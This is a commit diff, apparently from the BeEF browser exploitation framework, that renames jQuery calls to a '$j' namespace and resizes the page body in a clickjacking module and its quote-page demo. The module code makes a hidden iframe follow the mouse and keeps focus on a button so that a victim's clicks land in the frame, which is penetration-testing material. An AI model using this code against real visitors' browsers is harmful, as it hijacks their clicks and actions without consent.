Made namespaces consistent and expanded body
Adding feedback I missed earlier regarding namespaces. Also since we're using body instead of window (for IE support), expanding the body so that the mouse follows everywhere.
This commit is contained in:
@@ -9,17 +9,18 @@
|
||||
|
||||
<style type="text/css">
|
||||
body{
|
||||
margin:0;
|
||||
padding:0;
|
||||
color:#fff;
|
||||
font-family:'Neuton', georgia, serif;
|
||||
background-color:#999;
|
||||
width:100%;
|
||||
height:100%;
|
||||
}
|
||||
.quotes{
|
||||
width:100%;
|
||||
height:100%;
|
||||
text-align:center;
|
||||
margin:50px 0;
|
||||
margin:0 0 50px 0;
|
||||
padding-top:50px;
|
||||
}
|
||||
.quotes .inner{
|
||||
width:700px;
|
||||
@@ -137,6 +138,9 @@ font-size:20px;
|
||||
|
||||
<script type="text/javascript">
|
||||
$(document).ready(function(){
|
||||
$("body").width($(window).width()-10);
|
||||
$("body").height($(window).height()-70);
|
||||
|
||||
var quotes = [];
|
||||
quotes[0] = {title: "Sometimes you gotta crack a few eggs to make an omelet.", footnote: "Charlie, It's Always Sunny In Philadelphia"};
|
||||
quotes[1] = {title: "Cats do not abide by the laws of nature.", footnote: "Charlie, It's Always Sunny In Philadelphia"};
|
||||
|
||||
@@ -77,16 +77,16 @@ beef.execute(function() {
|
||||
function step1(){
|
||||
var btnSelector = "#" + elems.btn;
|
||||
var outerSelector = "#" + elems.outerFrame;
|
||||
var btnObj = $(btnSelector);
|
||||
var outerObj = $(outerSelector);
|
||||
var btnObj = $j(btnSelector);
|
||||
var outerObj = $j(outerSelector);
|
||||
|
||||
$("body").mousemove(function(e) {
|
||||
$(outerObj).css('top', e.pageY);
|
||||
$(outerObj).css('left', e.pageX);
|
||||
$j("body").mousemove(function(e) {
|
||||
$j(outerObj).css('top', e.pageY);
|
||||
$j(outerObj).css('left', e.pageX);
|
||||
});
|
||||
|
||||
$(btnObj).focus();
|
||||
$(btnObj).focusout(function() {
|
||||
$j(btnObj).focus();
|
||||
$j(btnObj).focusout(function() {
|
||||
cjLog("Iframe clicked");
|
||||
iframeClicked();
|
||||
});
|
||||
@@ -105,8 +105,8 @@ beef.execute(function() {
|
||||
|
||||
setTimeout(function(){
|
||||
var btnSelector = "#" + elems.btn;
|
||||
var btnObj = $(btnSelector);
|
||||
$(btnObj).focus();
|
||||
var btnObj = $j(btnSelector);
|
||||
$j(btnObj).focus();
|
||||
|
||||
//check if there are any more actions to perform
|
||||
try {
|
||||
@@ -122,15 +122,15 @@ beef.execute(function() {
|
||||
|
||||
function updateIframePosition(){
|
||||
var innerSelector = "#" + elems.innerFrame;
|
||||
var innerObj = $(innerSelector);
|
||||
$(innerObj).css('top', innerPos.top + 'px');
|
||||
$(innerObj).css('left', innerPos.left + 'px');
|
||||
var innerObj = $j(innerSelector);
|
||||
$j(innerObj).css('top', innerPos.top + 'px');
|
||||
$j(innerObj).css('left', innerPos.left + 'px');
|
||||
}
|
||||
|
||||
//Remove outerFrame and persistent button
|
||||
function removeAll(){
|
||||
$("#" + elems.outerFrame).remove();
|
||||
$("#" + elems.btn).remove();
|
||||
$j("#" + elems.outerFrame).remove();
|
||||
$j("#" + elems.btn).remove();
|
||||
}
|
||||
|
||||
function cjLog(msg){
|
||||
|
||||
Reference in New Issue
Block a user